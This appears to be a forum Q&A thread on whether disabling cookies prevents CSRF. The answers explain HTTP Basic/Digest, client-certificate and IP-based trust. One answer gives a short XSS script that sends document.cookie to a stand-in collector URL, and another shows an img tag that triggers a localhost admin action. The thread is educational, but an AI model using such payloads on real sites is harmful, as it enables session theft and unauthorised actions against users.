I have been investigating this for some time, but I haven't found anything to satisfy my curiosity. Is it possible, as a user, to be the victim of a CSRF attack if cookies are disabled. Obviously CSRF depends on the users browser to send the user's credentials with the forged request to the legitimate server. Besides IP addresses, browsers don't automatically send in any other session values do they? In that case, as long as a user can login with cookies disabled, they would be safe from CSRF even on vulnerable websites.
Sure - just think if the compromised site didn't scrub HTML and you entered the following text into a "comment" field:
<script>
var img = document.createElement("img");
img.src = "http://example.com/collect.php?val=" + escape(document.cookie);
</script>
Basically you're using javascript to collect the cookies and writing the values into the URL parameters of an image tag so that they are passed along to the "bad" server when the browser attempts to load the image.
Of course - in the example above I'm using cookies from "document.cookie" but in the spirit of your question "if cookies are disabled" it's just as easy to extract any other information from the DOM (hidden input field values, etc.) and send them in the URL to your target server.
There are other forms of authentication supported by browsers, in particular HTTP Basic and HTTP Digest, as well as SSL/TLS client-certificates. Unfortunately, the interface to "log out" when using these mechanisms is usually fairly poor. Unlike cookies and forms, stopping to use the credentials is controlled by the browser (not by the server and its cookies), but the buttons are at best in some advanced menu in general (if they exist at all).
So, you have to ask yourself how does the server know one client from another? In majority of cases, it is the session cookie, but there are other ways as well.
Consider an admin application, that is configured to work only if accessed from localhost. Here, the server is trusting the IP Address of the browser. Now, if an attacker creates a page like <img src="http://localhost/do/something/harmful"/>
, and somehow gets the administrator to visit his page, you have a CSRF.
Other examples include abusing Http basic and digest authentication, as Bruno already pointed out.